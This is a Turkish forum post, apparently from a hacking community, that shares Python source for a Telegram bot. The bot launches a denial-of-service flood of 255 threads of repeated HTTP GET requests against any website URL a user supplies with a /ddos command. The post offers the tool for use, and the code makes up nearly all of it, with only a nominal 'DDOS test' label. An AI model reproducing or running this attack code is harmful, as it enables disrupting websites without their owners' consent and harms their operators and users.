Selam THT üyeleri aşağıda sitelere ddos saldırısı yapan bir python kodu var iyi kullanımlar.
Python:
import requests
import telebot
from concurrent.futures import ThreadPoolExecutor
import threading
TOKEN = input ('Bot Token: ')
bot = telebot.TeleBot(TOKEN)
attack_active = threading.Event()
def send_attack(site_url):
while attack_active.is_set():
try:
response = requests.get(site_url).status_code
if response == 200:
print(f"Gönderildi : ✅ | Sonuç : {response}")
else:
print(f"Çöktü : ❌ | Sonuç : {response}")
except Exception as e:
print(f"Çöktü : ❌ | Hata : {str(e)}")
@bot.message_handler(commands=["start"])
def send_welcome(message):
bot.reply_to(message, "Hoş geldiniz! DDOS testi için `/ddos <site_url>` komutunu kullanabilirsiniz. Saldırıyı durdurmak için `/durdur` komutunu kullanın. ------------------------------------------------------------- Kanal @batutool Tg @gercekad")
@bot.message_handler(commands=["ddos"])
def start_ddos(message):
global attack_active
try:
site_url = message.text.split()[1]
except IndexError:
bot.reply_to(message, "Lütfen bir site URL'si belirtin! Örnek: /ddos https://yopmail.com`")
return
if attack_active.is_set():
bot.reply_to(message, "Zaten bir saldırı başlatılmış durumda. Önce mevcut saldırıyı durdurmak için /dur yazın.")
return
attack_active.set()
bot.reply_to(message, f"DDOS işlemi başlatıldı: {site_url}")
executor = ThreadPoolExecutor(max_workers=255)
for _ in range(255):
executor.submit(send_attack, site_url)
@bot.message_handler(commands=["durdur"])
def stop_ddos(message):
global attack_active
if not attack_active.is_set():
bot.reply_to(message, "Şu anda aktif bir saldırı yok.")
return
attack_active.clear()
bot.reply_to(message, "DDOS işlemi durduruldu.")
bot.polling()

